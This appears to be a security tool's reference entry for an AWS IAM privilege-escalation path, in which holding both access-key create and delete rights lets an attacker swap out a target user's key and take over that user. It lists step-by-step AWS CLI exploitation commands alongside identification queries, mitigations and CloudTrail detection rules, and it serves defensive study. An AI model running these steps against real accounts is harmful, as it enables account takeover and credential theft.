AWS_CREATE_DELETE_ACCESS_KEY
Summary
| Forestall ACL Alias | AWS_CREATE_DELETE_ACCESS_KEY |
| Affected Object Types | AWSUser|AWSRole|AWSGroup → AWSUser |
| Exploitation Certainty | High |
| AWS IAM Action | iam:CreateAccessKey + iam:DeleteAccessKey |
Description
An attacker with both iam:CreateAccessKey and iam:DeleteAccessKey on a target IAM user can bypass the AWS 2-key limit unconditionally. They delete one existing key to free a slot, then immediately create a fresh key. The result is long-term credentials for the target user, regardless of how many keys that user held before.
This is a consolidated privesc edge. Either action alone doesn’t deliver impersonation. Together they do. The new key is indistinguishable from a legitimate one, and it survives rotation of the target’s original keys.
Edge semantics: (Attacker:AWSUser|AWSRole|AWSGroup) -[AWS_CREATE_DELETE_ACCESS_KEY]-> (TargetUser:AWSUser)
Precondition: none. Delete+create bypasses the 2-key limit unconditionally.
Identification
# Check who has both CreateAccessKey and DeleteAccessKey on IAM usersaws iam get-account-authorization-details \ --filter User Role Group LocalManagedPolicy AWSManagedPolicy \ --query "UserDetailList[*].[UserName,AttachedManagedPolicies[*].PolicyName]"
# Simulate both actions for a principalaws iam simulate-principal-policy \ --policy-source-arn <attacker-arn> \ --action-names iam:CreateAccessKey iam:DeleteAccessKey \ --resource-arns "arn:aws:iam::*:user/*"PowerShell (AWS Tools):
$principal = "<attacker-arn>"Test-IAMPrincipalPolicy -PolicySourceArn $principal ` -ActionName @("iam:CreateAccessKey","iam:DeleteAccessKey") ` -ResourceArn "arn:aws:iam::*:user/*"Exploitation
# Step 1: Find existing keys on target (need to free a slot if target has 2)aws iam list-access-keys --user-name <target-user>
# Step 2: Delete one existing keyaws iam delete-access-key \ --user-name <target-user> \ --access-key-id <existing-key-id>
# Step 3: Create a new key, returns AccessKeyId + SecretAccessKeyaws iam create-access-key --user-name <target-user>
# Step 4: Use the new credentialsexport AWS_ACCESS_KEY_ID=<new-key-id>export AWS_SECRET_ACCESS_KEY=<new-secret>aws sts get-caller-identityMitigation
- Restrict
iam:CreateAccessKeyandiam:DeleteAccessKeyto dedicated IAM break-glass roles; deny for all service principals. - Apply IAM permission boundaries so that even with these actions, the resulting credentials cannot exceed the boundary.
- Use SCPs to deny access key creation outside approved accounts or OUs.
- Prefer temporary credentials (IAM roles / STS) over long-term access keys wherever possible.
- Enable AWS Config rule
iam-user-no-policies-checkandaccess-keys-rotatedto detect stale or surplus keys.
Detection
| CloudTrail Event | Description | Key Fields |
|---|---|---|
DeleteAccessKey |
An existing key was deleted | requestParameters.userName, requestParameters.accessKeyId, userIdentity.arn |
CreateAccessKey |
A new key was created for a user | requestParameters.userName, responseElements.accessKey.accessKeyId, userIdentity.arn |
Alert when DeleteAccessKey is followed by CreateAccessKey for the same userName within a short window and the caller is not the key owner. Also alert on any CreateAccessKey where the caller ARN differs from the target userName.